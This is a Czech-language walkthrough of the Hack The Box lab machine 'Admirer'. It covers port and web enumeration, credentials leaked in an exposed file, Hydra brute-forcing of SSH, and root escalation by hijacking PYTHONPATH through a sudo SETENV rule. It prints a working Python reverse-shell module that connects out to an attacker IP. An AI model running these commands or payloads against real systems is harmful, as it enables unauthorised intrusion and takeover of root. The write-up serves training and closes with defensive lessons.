Admirer
Úvod a kontext
Admirer stojí hlavně na tom, že několik zdánlivě obyčejných úniků dává dohromady použitelný přístup. Samostatně nevypadá dramaticky ani credentials.txt, ani archiv webu, ani utility skripty, ale dohromady odhalí vztah mezi FTP, WordPressem, databází a účtem waldo.
Didakticky je tenhle stroj zajímavý tím, že user část není o exploitaci konkrétní služby, ale o pečlivém ověření nalezených přihlašovacích údajů. Root pak stojí na chybné delegaci přes SETENV, což je přesně ten typ provozní chyby, který se snadno podcení.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív potřebuji zjistit, jaké služby cíl nabízí a kam má smysl směřovat další průzkum.
IP=10.10.10.187;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
Web i SSH vypadají zajímavě, takže pokračuji hlubší enumerací webu.
Enumerace webu a hledání citlivých souborů
Z robots.txt vidím cestu /admin-dir, kde očekávám interní soubory.
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[21:07:44] 301 - /assets -> http://10.10.10.187/assets/
[21:08:04] 301 - /images -> http://10.10.10.187/images/
[21:08:24] 200 - /robots.txt
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml -u http://10.10.10.187/admin-dir/
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
http://10.10.10.187/admin-dir/credentials.txt
[Internal mail account]
__CENSORED__
__CENSORED__
[FTP account]
ftpuser
__CENSORED__
[Wordpress account]
admin
__CENSORED__
V této fázi mám několik kombinací uživatel/heslo. Zároveň z dostupných podkladů (html.tar.gz, index.php, utility-scripts) je vidět, že aplikace pracuje s uživatelem waldo a databázovým heslem, což je další směr k ověření.
Získání přístupu
Získání přístupu přes SSH
Nalezené seznamy uživatelů/hesel (users.txt, pass.txt) ověřím proti SSH.
hydra -L users.txt -P pass.txt $IP ssh
[22][ssh] host: 10.10.10.187 login: ftpuser password: __CENSORED__
[22][ssh] host: 10.10.10.187 login: waldo password: __CENSORED__
Funkční je účet waldo, takže se přihlásím do shellu.
ssh waldo@admirer.htb
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat /home/waldo/user.txt
__CENSORED__
Eskalace oprávnění
Průzkum sudo práv
Po získání uživatelského přístupu kontroluji, co je možné spustit přes sudo.
sudo -l
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Možnost SETENV je klíčová, protože dovolí ovlivnit PYTHONPATH a podvrhnout Python modul.
Eskalace oprávnění přes PYTHONPATH
Připravím škodlivý modul shutil.py s reverse shellem a spustím povolený skript se změněným PYTHONPATH.
cat /tmp/T/shutil.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.38",4000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/bash")
sudo PYTHONPATH=/tmp/T/ /opt/scripts/admin_tasks.sh 6
Po spuštění dostanu shell s vyššími právy.
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat /root/root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Průlom nepřinesl jediný nález, ale až spojení
credentials.txt, archivovaných webových souborů a vazby na účetwaldo. - User část je cenná hlavně tím, že ukazuje rozdíl mezi nalezeným heslem a skutečně ověřeným přístupem přes SSH.
- Root stojí na
sudopravidlu sSETENV, tedy na možnosti podvrhnout importovaný Python modul přesPYTHONPATH.
Co si odnést do praxe
- Administrativní adresáře a soubory typu
credentials.txtnebo staré exporty webu nesmějí zůstávat veřejně čitelné. Právě takové „drobnosti“ často odhalí celý vztah mezi službami a účty. - Přístupové údaje je nutné oddělovat mezi FTP, web, databázi a SSH. Jakmile stejné nebo odvoditelné heslo funguje i na shellu, z informačního úniku se stává plnohodnotný foothold.
SETENVvsudopravidlech je potřeba posuzovat velmi přísně. U interpretu typu Python může jediná ovlivnitelná proměnná prostředí otevřít cestu k rootu bez další zranitelnosti.